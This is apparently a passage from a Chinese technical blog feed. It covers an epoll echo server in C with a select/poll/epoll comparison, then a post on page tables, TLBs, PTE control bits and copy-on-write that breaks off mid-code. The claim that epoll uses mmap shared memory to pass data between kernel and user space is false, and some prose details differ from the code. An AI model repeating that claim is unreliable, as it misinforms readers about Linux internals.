#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;sys/epoll.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define MAXBUF     1024
#define MAX_EVENTS 10

int main() {
    int sockfd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t addrlen;
    char buffer[MAXBUF];
    struct epoll_event ev, events[MAX_EVENTS];
    int epfd, nfds;
    // 创建TCP套接字
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd &amp;lt; 0) {
        perror(&quot;socket创建失败&quot;);
        exit(1);
    }
    // 设置套接字选项，避免地址占用错误
    int opt = 1;
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;opt, sizeof(opt)) &amp;lt; 0) {
        perror(&quot;setsockopt失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }
    // 设置服务器地址
    memset(&amp;amp;server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(8000);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    // 绑定套接字到地址并监听
    if (bind(sockfd, (struct sockaddr*)&amp;amp;server_addr, sizeof(server_addr)) &amp;lt; 0) {
        perror(&quot;绑定失败&quot;);
        close(sockfd);
        exit(1);
    }
    if (listen(sockfd, 5) &amp;lt; 0) {
        perror(&quot;监听失败&quot;);
        close(sockfd);
        exit(1);
    }
    printf(&quot;基于epoll的服务器启动，监听端口8000...\n&quot;);

    // 创建epoll实例
    epfd = epoll_create1(0);
    if (epfd &amp;lt; 0) {
        perror(&quot;epoll创建失败&quot;);
        close(sockfd);
        exit(1);
    }
    // 将服务器套接字添加到epoll监听
    ev.events = EPOLLIN;
    ev.data.fd = sockfd;
    if (epoll_ctl(epfd, EPOLL_CTL_ADD, sockfd, &amp;amp;ev) &amp;lt; 0) {
        perror(&quot;epoll_ctl添加服务器套接字失败&quot;);
        close(epfd);
        close(sockfd);
        exit(1);
    }

    int i;
    while (true) {
        printf(&quot;📡等待事件发生...\n&quot;);
        // 等待事件发生，超时时间10秒
        nfds = epoll_wait(epfd, events, MAX_EVENTS, 10000);
        if (nfds &amp;lt; 0) {
            perror(&quot;epoll_wait错误&quot;);
            continue;
        } else if (nfds == 0) {
            printf(&quot;epoll等待超时，继续监听...\n&quot;);
            continue;
        }

        // 处理所有就绪的事件
        for (i = 0; i &amp;lt; nfds; ++i) {
            // 新的客户端连接
            if (events[i].data.fd == sockfd) {
                memset(&amp;amp;client_addr, 0, sizeof(client_addr));
                addrlen = sizeof(client_addr);
                int client_fd = accept(sockfd, (struct sockaddr*)&amp;amp;client_addr, &amp;amp;addrlen);
                if (client_fd &amp;gt;= 0) {
                    printf(&quot;✅新客户端连接: %d\n&quot;, client_fd);
                    // 设置新客户端为非阻塞模式（可选）
                    ev.events = EPOLLIN | EPOLLET; // 边缘触发模式
                    ev.data.fd = client_fd;
                    if (epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &amp;amp;ev) &amp;lt; 0) {
                        perror(&quot;epoll_ctl添加客户端失败&quot;);
                        close(client_fd);
                    }
                }
            } else {
                // 客户端套接字有数据可读
                int client_fd = events[i].data.fd;
                memset(buffer, 0, MAXBUF);
                ssize_t bytes_read = read(client_fd, buffer, MAXBUF - 1);
                if (bytes_read &amp;gt; 0) {
                    printf(&quot;📨从客户端%d接收: %s&quot;, client_fd, buffer);
                    // 回声功能
                    write(client_fd, buffer, bytes_read);
                } else {
                    // 客户端断开连接
                    printf(&quot;🔌客户端%d断开连接\n&quot;, client_fd);
                    epoll_ctl(epfd, EPOLL_CTL_DEL, client_fd, NULL);
                    close(client_fd);
                }
            }
        }
    }
    close(epfd);
    close(sockfd);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; curl localhost:8000 # 当然你也可以直接浏览器访问

基于epoll的服务器启动，监听端口8000...
📡等待事件发生...
✅新客户端连接: 5
📡等待事件发生...
📨从客户端5接收: GET / HTTP/1.1
Host: localhost:8000
User-Agent: curl/7.81.0
Accept: */*

📡等待事件发生...
🔌客户端5断开连接
📡等待事件发生...

&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;初始化：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;epfd = epoll_create(10)&lt;/code&gt; 创建一个 &lt;code&gt;epoll&lt;/code&gt; 实例。&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;accept()&lt;/code&gt; 循环中，每当有新连接到来，就创建一个 &lt;code&gt;epoll_event&lt;/code&gt; 结构体，设置好 &lt;code&gt;fd&lt;/code&gt; 和关心的事件 &lt;code&gt;EPOLLIN&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;epoll_ctl(epfd, EPOLL_CTL_ADD, ev.data.fd, &amp;amp;ev)&lt;/code&gt; 将新的连接 FD &lt;strong&gt;注册&lt;/strong&gt;到内核的红黑树中。只有在调用 epoll_ctl() 的时候，才会发生从用户态到内核态的数据拷贝。并且内核会在该文件描述符的内部结构上注册一个回调函数，使其添加到 epoll 实例内部的“就绪队列”中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心等待与处理：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;while(true)&lt;/code&gt; 循环中，调用 &lt;code&gt;nfds = epoll_wait(epfd, events, 5, 10000)&lt;/code&gt;。这个函数会阻塞，直到内核的&lt;strong&gt;就绪列表&lt;/strong&gt;中有事件发生。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;epoll_wait()&lt;/code&gt; 直接返回就绪的 FD 列表，&lt;code&gt;nfds&lt;/code&gt; 的值就是就绪的 FD 的数量。内核已经将这些就绪的事件填充到了 &lt;code&gt;events&lt;/code&gt; 数组中。&lt;/li&gt;
&lt;li&gt;程序只需要遍历“nfds”次，直接从 &lt;code&gt;events&lt;/code&gt; 数组中取出就绪的 FD 进行 &lt;code&gt;read()&lt;/code&gt; 操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;epoll&lt;/code&gt; 的巨大优势:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高效的管理机制&lt;/strong&gt;：FD 集合的管理是通过红黑树实现的，增删改查的效率都很高。FD 只需要注册一次，避免了 &lt;code&gt;select&lt;/code&gt;/&lt;code&gt;poll&lt;/code&gt; 反复拷贝的开销。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免线性扫描&lt;/strong&gt;：&lt;code&gt;epoll_wait()&lt;/code&gt; 直接返回就绪的 FD 列表，程序无需遍历所有 FD，时间复杂度是 O(1)（或者说 O(k)，其中 k 是就绪的 FD 数量），并且 &lt;code&gt;epoll_ctl()&lt;/code&gt; 注册时会同时注册一个回调函数，无需遍历红黑树。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存拷贝优化&lt;/strong&gt;：&lt;code&gt;epoll&lt;/code&gt; 使用&lt;strong&gt;共享内存&lt;/strong&gt;（mmap）技术来优化用户空间和内核空间的数据交换，进一步减少了拷贝开销。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支持边缘触发（ET）&lt;/strong&gt;：除了水平触发（LT），&lt;code&gt;epoll&lt;/code&gt; 还支持边缘触发模式。ET 模式更加高效，它只在 FD 状态发生变化时通知一次，要求程序员必须一次性将数据读完。这减少了 &lt;code&gt;epoll_wait()&lt;/code&gt; 被唤醒的次数，是许多高性能服务的首选。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;五、 总结与对比&lt;/strong&gt;&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;select&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;poll&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;epoll&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;底层数据结构&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;位图（bitmap）&lt;/td&gt;
&lt;td&gt;数组（struct pollfd）&lt;/td&gt;
&lt;td&gt;红黑树 + 就绪列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;最大连接数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;有限（通常 1024）&lt;/td&gt;
&lt;td&gt;无限制（受内存影响）&lt;/td&gt;
&lt;td&gt;无限制（受内存影响）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FD 拷贝&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;每次调用都需两次拷贝&lt;/td&gt;
&lt;td&gt;每次调用都需两次拷贝&lt;/td&gt;
&lt;td&gt;仅在 &lt;code&gt;epoll_ctl()&lt;/code&gt; 时拷贝一次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;就绪 FD 查找&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;线性扫描 O(n)&lt;/td&gt;
&lt;td&gt;线性扫描 O(n)&lt;/td&gt;
&lt;td&gt;直接返回 O(1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;工作模式&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;水平触发 (LT)&lt;/td&gt;
&lt;td&gt;水平触发 (LT)&lt;/td&gt;
&lt;td&gt;水平触发 (LT) + 边缘触发 (ET)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;平台&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;跨平台性好&lt;/td&gt;
&lt;td&gt;跨平台性较好&lt;/td&gt;
&lt;td&gt;Linux Only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>虚拟地址空间</title><link>https://blog.alinche.dpdns.org/posts/os/memory/pages/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/memory/pages/</guid><description>实现进程的思想</description><pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;引言：进程 = 戴上VR眼镜的线程&lt;/h3&gt;
&lt;p&gt;在操作系统的世界里，进程被视为资源分配的基本单位，而线程则是执行调度的基本单位。有一个绝妙的比喻可以帮助我们理解它们的关系：&lt;strong&gt;进程 = 戴上VR眼镜的线程&lt;/strong&gt;。线程是真正在CPU上执行计算的实体，而它所戴的“VR眼镜”就是我们今天要探讨的核心——&lt;strong&gt;虚拟地址空间（Virtual Address Space）&lt;/strong&gt;。这副眼镜让每个进程都以为自己独享整个计算机的内存，看到的是一个独立、连续且巨大的地址空间，而现实是，所有进程都共享着有限的物理内存。&lt;/p&gt;
&lt;p&gt;这背后精妙的“VR系统”就是操作系统的虚拟内存管理机制。它不仅实现了进程间的安全隔离，还通过一系列高效的技术，在硬件效率、执行速度和空间利用率之间取得了完美的平衡。本文将带您深入探索这个系统的三大核心支柱：多级页表、写时复制（COW）与内核同页合并（KSM）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;一、虚拟内存的基石：多级页表（Radix Tree）&lt;/h3&gt;
&lt;p&gt;虚拟内存的核心任务是实现一个映射函数 &lt;code&gt;f&lt;/code&gt;，它能将进程看到的“虚拟地址”翻译成物理内存的“真实地址”。
&lt;code&gt;f: (虚拟页号, 进程ID) -&amp;gt; 物理页帧号&lt;/code&gt;
虚拟页号 Virtual Page Number(VPN), pid -&amp;gt; 物理页帧号 Physical Frame Number(PFN or PPN)&lt;/p&gt;
&lt;p&gt;这个映射由硬件（MMU，内存管理单元）和操作系统共同完成，其“寻路图”——&lt;strong&gt;​​页表&lt;/strong&gt;​​——存储在CPU的&lt;code&gt;CR3&lt;/code&gt;寄存器指向的&lt;strong&gt;页表&lt;/strong&gt;中。&lt;/p&gt;
&lt;h4&gt;1. 地址的拆解艺术&lt;/h4&gt;
&lt;p&gt;在32位系统的经典设计中：&lt;strong&gt;1024叉的二级Radix Tree​&lt;/strong&gt;（虚拟地址空间4GB）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地址结构​​&lt;/strong&gt;：&lt;code&gt;32bits = 10 (页目录索引 PDI) + 10 (页表索引 PTI) + 12 (页内偏移 Pages Offset)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;​页大小​&lt;/strong&gt;：&lt;code&gt;2^12 = 4096&lt;/code&gt; 字节，即4KB。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;页表结构&lt;/strong&gt;​​：采用​​二级页表​​。
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;​页目录(Page Directory)​&lt;/strong&gt;：由CR3寄存器指向。它是一个4KB的页，包含1024个页目录项(PDE)（因为32位系统一个指针大小为4B）。虚拟地址的高10位(PDI)作为索引在此表中查找。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;​页表(Page Table)&lt;/strong&gt;：如果PDE显示下一级页表存在，则用虚拟地址的中间10位(PTI)作为索引，在对应的页表中查找页表项PTE。每个页表也是一个4KB的页，包含1024个PTE。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;​物理页帧(Page Frame)&lt;/strong&gt;：PTE中存储着最终的物理页帧号(PFN)，与12位的Pages Offset组合成物理地址。
这形成了一个非常规整的​​1024叉树（1024-ary Tree）​​。每个页目录/页表正好占一页（4KB），每个项（PDE/PTE）占4字节（32位），完美利用一页空间（1024 * 4B = 4096B）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在现代64位系统中，一个虚拟地址被这样拆解和使用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地址结构&lt;/strong&gt;：&lt;code&gt;64bits = 16 (符号扩展) + 36 (虚拟页号 VPN) + 12 (页内偏移 Pages Offset)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;页大小&lt;/strong&gt;：&lt;code&gt;2^12 = 4096&lt;/code&gt; 字节，即4KB。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟页号 (VPN)&lt;/strong&gt;：36位的VPN太大，无法用一张表直接映射，因此被进一步拆分。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 64位的四级页表：硬件友好的&lt;code&gt;Radix Tree&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;为了高效管理巨大的虚拟地址空间，x86-64架构采用了四级页表结构，它本质上是一种&lt;strong&gt;基数树（Radix Tree）&lt;/strong&gt;。36位的VPN被分为4个9位的索引，分别对应四级页表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PML4&lt;/strong&gt; (Page Map Level 4)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PDP&lt;/strong&gt; (Page Directory Pointer)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PD&lt;/strong&gt; (Page Directory)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PT&lt;/strong&gt; (Page Table)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;翻译时，MMU从CR3寄存器开始，像查通讯录一样逐级索引，最终将VPN对应的PFN与Offset组合，得到物理地址。这个过程被称为​​页表遍历（Page Table Walk）​​。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么选择&lt;code&gt;Radix Tree&lt;/code&gt;？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;空间效率高&lt;/strong&gt;：它只为实际使用的内存区域分配页表项，对于未使用的巨大地址空间，无需占用任何存储，实现了稀疏分配。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;硬件友好&lt;/strong&gt;：查询过程是固定的、可预测的 O(k) 复杂度（k为页表级数），硬件实现简单高效。相比之下，哈希表（HashMap）的冲突处理和红黑树（Red-Black Tree）的平衡操作都过于复杂，不适合硬件实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h4&gt;3. 加速翻译：&lt;code&gt;TLB&lt;/code&gt;缓存 —— 硬件实现的地址缓存&lt;/h4&gt;
&lt;p&gt;页表存储在主内存中，这意味着每次地址翻译都需要多次访问内存（例如，四级页表最多需要4次内存读取），这个过程被称为页表遍历(&lt;code&gt;Page Table Walk&lt;/code&gt;)，开销很大。为此，CPU芯片内部集成了一个专用于缓存地址映射的纯硬件高速缓存——&lt;strong&gt;TLB(Translation-Lookaside Buffer)&lt;/strong&gt;。 它缓存了近期使用过的 &lt;code&gt;虚拟页号 -&amp;gt; 物理页帧号&lt;/code&gt; 的映射关系。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作流程&lt;/strong&gt;：MMU收到虚拟地址，先查询TLB。若找到缓存（TLB命中），直接获得物理地址；若未命中，才MMU启动页表遍历，并将新映射存入TLB。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进程隔离&lt;/strong&gt;：TLB是所有进程共享的硬件资源。为了区分不同进程的地址空间，TLB条目通常会包含一个 &lt;strong&gt;&lt;code&gt;ASID&lt;/code&gt;（Address Space ID）&lt;/strong&gt; 地址空间标识符，这样，即使不同进程使用相同的虚拟地址，硬件也能通过ASID精确匹配，确保进程A不会访问到进程B的缓存映射。上下文切换时，操作系统会更新ASID，从而使TLB能够区分新旧进程的地址映射。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;TLB 硬件实现&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;TLB的快速查询能力源于其核心组件——​​内容可寻址存储器&lt;code&gt;CAM&lt;/code&gt;(Content-Addressable Memory)（跟Cache一样是一种&lt;code&gt;全相联/组相联&lt;/code&gt;，比缓存更贵、面积更大、功耗更高）
CAM是根据存储的(key, value)。当输入一个VPN时，TLB内部的硬件会在一瞬间（通常一个时钟周期，依靠硬件）
SRAM存储实际数据&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分级&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;L1 TLB​ （每个CPU核心私有，速度极快，与CPU核心同频工作，通常指令(ITLB)和数据(DTLB)分离）&lt;/li&gt;
&lt;li&gt;​L2 TLB​ （大容量，指令和数据通常共享）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;下面是 AMD Ryzen 5 3500X 6-Core Processor 的cpu相关信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;lscpu | grep &quot;cache&quot; # 快速查看 cache 信息
cat /proc/cpuinfo | grep -i tlb
    TLB size        : 3072 4K pages  # 所有核心输出相同 4KB页TLB容量​​为3072条目
dmesg | grep -i tlb
[    0.395181] Last level iTLB entries: 4KB 1024, 2MB 1024, 4MB 512
[    0.395183] Last level dTLB entries: 4KB 2048, 2MB 2048, 4MB 1024, 1GB 0
## L1 TLB​​：64项全相联，处理所有页尺寸（含 1GB 大页），专注最低延迟
## L2 TLB​​：1024/2048项组相联， 4KB 页优化更明显，专注高命中率
cpuid -1 &amp;amp;| vim -
## P.S. 现代CPU有从指令性能平衡到数据性能的重心转移趋势，即 dTLB 增强 而 iTLB 可能缩减(对比 AMD R7 8845HS)
## 因为​​数据密集型应用崛起（如视频处理）​，传统的指令密集型负载（如编译）相对减少
   brand = &quot;AMD Ryzen 5 3500X 6-Core Processor             &quot;
   L1 TLB/cache information: 2M/4M pages &amp;amp; L1 TLB (0x80000005/eax):
      instruction # entries     = 0x40 (64)  # iTLB 64项
      instruction associativity = 0xff (255) # 255表示全相联
      data # entries            = 0x40 (64)  # dTLB 64项
      data associativity        = 0xff (255)
   L1 TLB/cache information: 4K pages &amp;amp; L1 TLB (0x80000005/ebx):
      instruction # entries     = 0x40 (64)
      instruction associativity = 0xff (255)
      data # entries            = 0x40 (64)
      data associativity        = 0xff (255)
   L1 data cache information (0x80000005/ecx):
      line size (bytes) = 0x40 (64) # 缓存行大小 64 字节
      lines per tag     = 0x1 (1)
      associativity     = 0x8 (8)   # 8 路组相联
      size (KB)         = 0x20 (32) # 总容量 32KB
   L1 instruction cache information (0x80000005/edx):
      line size (bytes) = 0x40 (64)
      lines per tag     = 0x1 (1)
      associativity     = 0x8 (8)
      size (KB)         = 0x20 (32) # 总容量 32KB
      ## 可计算出CPU总L1容量 = (32KB + 32KB) * 核心数目 = 192KB + 192KB
      ## lscpu | grep &quot;cache&quot;
      ## L1d cache: 192 KiB (6 instances)
      ## L1i cache: 192 KiB (6 instances)
      ## L2 cache:  3 MiB   (6 instances)
      ## L3 cache:  32 MiB  (2 instances)
   L2 TLB/cache information: 2M/4M pages &amp;amp; L2 TLB (0x80000006/eax):
      instruction # entries     = 0x400 (1024) # iTLB 1024项
      instruction associativity = 8-way (6)    # 8 路组相联
      data # entries            = 0x800 (2048) # dTLB 2048项
      data associativity        = 4-way (4)    # 4 路组相联
   L2 TLB/cache information: 4K pages &amp;amp; L2 TLB (0x80000006/ebx):
      instruction # entries     = 0x400 (1024) 
      instruction associativity = 8-way (6)    # 8 路组相联
      data # entries            = 0x800 (2048)
      data associativity        = 8-way (6)    # 8 路组相联

NASID: number of address space identifiers = 0x8000 (32768):
   L1 TLB information: 1G pages (0x80000019/eax):
      instruction # entries     = 0x40 (64) # iTLB 64项
      instruction associativity = full (15) # 全相联
      data # entries            = 0x40 (64) # dTLB 64项
      data associativity        = full (15) # 全相联
   L2 TLB information: 1G pages (0x80000019/ebx):
      instruction # entries     = 0x0 (0)   # 不支持
      instruction associativity = L2 off (0)
      data # entries            = 0x0 (0)   # 不支持
      data associativity        = L2 off (0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. 页表项控制位详解&lt;/h4&gt;
&lt;p&gt;无论是32位的二级页表还是64位的四级页表，其核心组成部分——​​​​页目录项PDE和页表项PTE​​​​——不仅仅只存储物理页帧号PFN。它们还包含一组至关重要的​​控制位（&lt;code&gt;Control Bits&lt;/code&gt;）​​，用于管理内存访问权限、跟踪页面状态以及辅助硬件和操作系统进行高效的内存管理。这些位通常占据PDE/PTE的低位部分（Least Significant Bits, LSBs）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个页的大小是 4KB，也就是 &lt;code&gt;2^12&lt;/code&gt; = 4096 字节。&lt;/li&gt;
&lt;li&gt;这意味着任何一个物理页帧(Page Frame)的起始地址，其&lt;strong&gt;低12位必然全为0&lt;/strong&gt;。
既然物理页帧地址的低12位永远是0，那么在PTE里存储这12个0就是一种浪费。硬件设计师们利用了这一点让PTE剩余的12位作为控制位。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;0: Present (P) - &lt;strong&gt;有效位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1: Write Enable (W) / Read-Only (R/W) - &lt;strong&gt;写控制位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2: User/Supervisor (U/S) - &lt;strong&gt;访问权限位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3: Page-Level Write-Through (PWT) - &lt;strong&gt;缓存写策略&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;4: Page-Level Cache Disable (PCD) - &lt;strong&gt;缓存策略&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;5: Accessed (A) - &lt;strong&gt;访问位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;6: Dirty (D) - &lt;strong&gt;脏位&lt;/strong&gt; (PTE特有)&lt;/p&gt;
&lt;p&gt;7: Page Size (PS) - &lt;strong&gt;页大小&lt;/strong&gt; (PDE特有，0=4KB, 1=4MB/2MB)&lt;/p&gt;
&lt;p&gt;8: Global (G) - &lt;strong&gt;全局页&lt;/strong&gt; (TLB相关)&lt;/p&gt;
&lt;p&gt;9-11: Available for OS use (Avail) - &lt;strong&gt;操作系统专用位&lt;/strong&gt; (如是否锁定内存、页面类型、自定义内存管理策略的信息)&lt;/p&gt;
&lt;h5&gt;在哪个硬件上实现Control Bits的&lt;/h5&gt;
&lt;p&gt;实现和使用这些控制位的核心硬件是 &lt;strong&gt;CPU内部的内存管理单元（MMU）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;MMU的工作流程是这样的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;接收虚拟地址&lt;/strong&gt;：CPU要执行一条指令，比如 &lt;code&gt;MOV EAX, [0x12345678]&lt;/code&gt;，MMU接收到虚拟地址 &lt;code&gt;0x12345678&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查询TLB&lt;/strong&gt;：如果TLB中存在该虚拟页的映射，硬件会立即返回物理页帧号，整个翻译过程在单个时钟周期内完成，无需访问主内存。如果TLB中没有缓存，从CR3寄存器开始逐级遍历页表&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;页表遍历 (Page Table Walk)&lt;/strong&gt;：MMU从&lt;code&gt;CR3&lt;/code&gt;寄存器开始，逐级查找页目录和页表。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取并解析PTE&lt;/strong&gt;：当MMU最终找到对应的PTE时，它不会把它当作一个普通的数字。它会：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;检查控制位&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;检查&lt;strong&gt;Present位&lt;/strong&gt;。如果是0，说明页面不在内存中，MMU会立即停止翻译，并触发一个&lt;strong&gt;缺页异常（Page Fault）&lt;/strong&gt;，通知操作系统介入。&lt;/li&gt;
&lt;li&gt;检查&lt;strong&gt;权限位 (R/W, U/S)&lt;/strong&gt;。如果当前是用户态程序试图写入一个只读页面（R/W=0），或者试图访问一个内核页面（U/S=0），MMU会触发一个&lt;strong&gt;保护异常（Protection Fault）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;...等等，它会检查所有相关的控制位。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新状态位&lt;/strong&gt;：如果访问被允许，MMU会自动在硬件层面&lt;strong&gt;设置&lt;/strong&gt;某些位。比如，只要对这个页面进行了读或写访问，MMU就会将&lt;strong&gt;Accessed位&lt;/strong&gt;设置为1。如果进行了写操作，MMU会将&lt;strong&gt;Dirty位&lt;/strong&gt;设置为1。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算物理地址&lt;/strong&gt;：如果所有检查都通过，MMU会提取PTE中的&lt;strong&gt;PFN（高20位）&lt;/strong&gt;，与虚拟地址中的&lt;strong&gt;页内偏移（低12位）&lt;/strong&gt; 组合起来，形成最终的物理地址，然后发送到内存总线。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;二、效率的魔法：写时复制（Copy-on-Write）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;fork()&lt;/code&gt; 系统调用是Unix/Linux的基石，它能快速创建新进程。如果每次&lt;code&gt;fork()&lt;/code&gt;都完整复制父进程的全部内存，开销将无法承受。**写时复制(COW)**技术巧妙地解决了这个问题。&lt;/p&gt;
&lt;h4&gt;1. COW核心思想&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;共享读取&lt;/strong&gt;：&lt;code&gt;fork()&lt;/code&gt;时，子进程并不复制父进程的物理内存，而是复制父进程页表的副本，父子进程拥有各自独立的页表结构(PML4, PDP, PD等)，但页表项(PTE)指向的是与父进程相同的物理页帧，并将这些共享页面的PTE标记为&lt;strong&gt;只读&lt;/strong&gt;。(​​“虚假”复制​​)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;按需复制&lt;/strong&gt;：当父进程或子进程尝试&lt;strong&gt;写入&lt;/strong&gt;某个共享页面时，会触发一个&lt;strong&gt;缺页异常（Page Fault）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发复制&lt;/strong&gt;：内核的缺页异常处理程序（如&lt;code&gt;do_wp_page&lt;/code&gt;）被调用，此时才真正为写入方分配一个新的物理页面，复制原页面的内容，并更新其页表映射为可写。(“真实”复制​​Pages)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;COW将可能不必要的内存复制推迟到最后一刻（真正需要写入时），这种延迟复制的策略，极大地提升了进程创建效率fork()的速度并减少了内存占用。&lt;/p&gt;
&lt;h4&gt;2. 代码揭秘：&lt;code&gt;do_wp_page&lt;/code&gt; 函数解析&lt;/h4&gt;
&lt;p&gt;在Linux内核中，处理写保护缺页异常的核心逻辑位于 &lt;code&gt;do_wp_page&lt;/code&gt; 等函数中。让我们来看看其简化逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 简化逻辑
vm_fault_t do_wp_page(struct vm_fault* vmf) {
    struct page* old_page = vmf-&amp;gt;page;
    // 关键决策点：这个页面是否被多个进程或映射共享？
    // page_count() 返回页面的总引用计数
    if (page_count(old_page) == 1) {
        // 如果页面是唯一的（只有当前进程在用）则无需复制，直接将页面标记为可写即可
        wp_page_reuse(vmf);    // 直接重用页面
        return VM_FAULT_WRITE; // 返回写错误处理结果
    }
    // 如果页面被共享 (page_count() &amp;gt; 1)
    // 则必须执行复制操作
